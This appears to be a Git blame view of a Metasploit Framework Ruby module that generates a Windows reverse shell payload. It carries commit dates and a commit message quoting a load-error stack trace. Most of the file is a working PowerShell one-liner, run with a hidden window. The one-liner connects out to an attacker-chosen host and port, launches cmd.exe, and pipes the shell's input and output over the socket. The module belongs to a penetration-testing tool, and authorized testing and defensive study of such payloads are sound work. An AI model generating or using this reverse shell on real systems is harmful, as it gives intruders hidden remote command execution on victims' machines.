metasploit-framework/modules/payloads/singles/cmd/windows/reverse_powershell.rb

104 lines
3.5 KiB
Ruby
Raw Normal View History

2014-02-08 01:00:31 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2014-02-08 01:00:31 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/find_shell'
Fix missing require in reverse_powershell When initializing the db: /opt/metasploit-framework/modules/payloads/singles/cmd/windows/reverse_powershell.rb:34:in `initialize': uninitialized constant Msf::Handler::ReverseTcp (NameError) from /opt/metasploit-framework/lib/msf/core/payload_set.rb:198:in `new' from /opt/metasploit-framework/lib/msf/core/payload_set.rb:198:in `add_module' from /opt/metasploit-framework/lib/msf/core/module_manager/loading.rb:72:in `on_module_load' from /opt/metasploit-framework/lib/msf/core/modules/loader/base.rb:207:in `load_module' from /opt/metasploit-framework/lib/msf/core/modules/loader/base.rb:271:in `block in load_modules' from /opt/metasploit-framework/lib/msf/core/modules/loader/directory.rb:58:in `block (2 levels) in each_module_reference_name' from /opt/metasploit-framework/lib/rex/file.rb:127:in `block in find' from /opt/metasploit-framework/lib/rex/file.rb:126:in `catch' from /opt/metasploit-framework/lib/rex/file.rb:126:in `find' from /opt/metasploit-framework/lib/msf/core/modules/loader/directory.rb:45:in `block in each_module_reference_name' from /opt/metasploit-framework/lib/msf/core/modules/loader/directory.rb:29:in `foreach' from /opt/metasploit-framework/lib/msf/core/modules/loader/directory.rb:29:in `each_module_reference_name' from /opt/metasploit-framework/lib/msf/core/modules/loader/base.rb:264:in `load_modules' from /opt/metasploit-framework/lib/msf/core/module_manager/loading.rb:118:in `block in load_modules' from /opt/metasploit-framework/lib/msf/core/module_manager/loading.rb:116:in `each' from /opt/metasploit-framework/lib/msf/core/module_manager/loading.rb:116:in `load_modules' from /opt/metasploit-framework/lib/msf/core/module_manager/module_paths.rb:56:in `block in add_module_path' from /opt/metasploit-framework/lib/msf/core/module_manager/module_paths.rb:55:in `each' from /opt/metasploit-framework/lib/msf/core/module_manager/module_paths.rb:55:in `add_module_path' from /opt/metasploit-framework/lib/msf/base/simple/framework/module_paths.rb:14:in `init_module_paths' from /opt/metasploit-framework/lib/msf/ui/console/driver.rb:228:in `initialize' from /opt/metasploit-framework/msfconsole:148:in `new' from /opt/metasploit-framework/msfconsole:148:in `<main>'
2014-03-14 19:28:00 +00:00
require 'msf/core/handler/reverse_tcp'
2014-02-08 01:00:31 +00:00
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
2016-03-08 13:02:44 +00:00
module MetasploitModule
2014-02-08 01:00:31 +00:00
CachedSize = 1204
2014-02-08 01:00:31 +00:00
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)',
'Description' => 'Connect back and create a command shell via Powershell',
2014-02-19 21:11:12 +00:00
'Author' =>
[
'Dave Kennedy', # Original payload from trustedsec on SET
'Ben Campbell' # Metasploit module
],
'References' =>
[
['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell']
2014-02-19 21:11:12 +00:00
],
# The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE
2014-02-08 01:00:31 +00:00
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'powershell',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
2014-02-19 21:21:02 +00:00
# Constructs the payload
2014-02-08 01:00:31 +00:00
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
lhost = datastore['LHOST']
lport = datastore['LPORT']
powershell = "function RSC{"\
2014-02-08 01:42:45 +00:00
"if ($c.Connected -eq $true) {$c.Close()};"\
"if ($p.ExitCode -ne $null) {$p.Close()};"\
"exit;"\
"};"\
2014-02-08 01:00:31 +00:00
"$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\
"$c.connect($a,$p);$s=$c.GetStream();"\
"$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\
"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"\
"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"\
"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"\
"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"\
"while($os.Peek() -ne -1){"\
"$o += $e.GetString($os.Read())"\
"};"\
"$s.Write($e.GetBytes($o),0,$o.Length);"\
"$o=$null;$d=$false;$t=0;"\
"while (-not $d) {"\
2014-02-08 01:42:45 +00:00
"if ($c.Connected -ne $true) {RSC};"\
2014-02-08 01:00:31 +00:00
"$pos=0;$i=1; "\
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
"$pos+=$r;"\
"if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
"if ($pos -gt 0){"\
"$str=$e.GetString($nb,0,$pos);"\
"$is.write($str);start-sleep 1;"\
"if ($p.ExitCode -ne $null){RSC}else{"\
"$o=$e.GetString($os.Read());"\
"while($os.Peek() -ne -1){"\
"$o += $e.GetString($os.Read());"\
"if ($o -eq $str) {$o=''}"\
"};"\
"$s.Write($e.GetBytes($o),0,$o.length);"\
"$o=$null;"\
"$str=$null"\
"}"\
"}else{RSC}};"\
2014-02-19 21:11:12 +00:00
"powershell -w hidden -nop -c #{powershell}"
2014-02-08 01:00:31 +00:00
end
end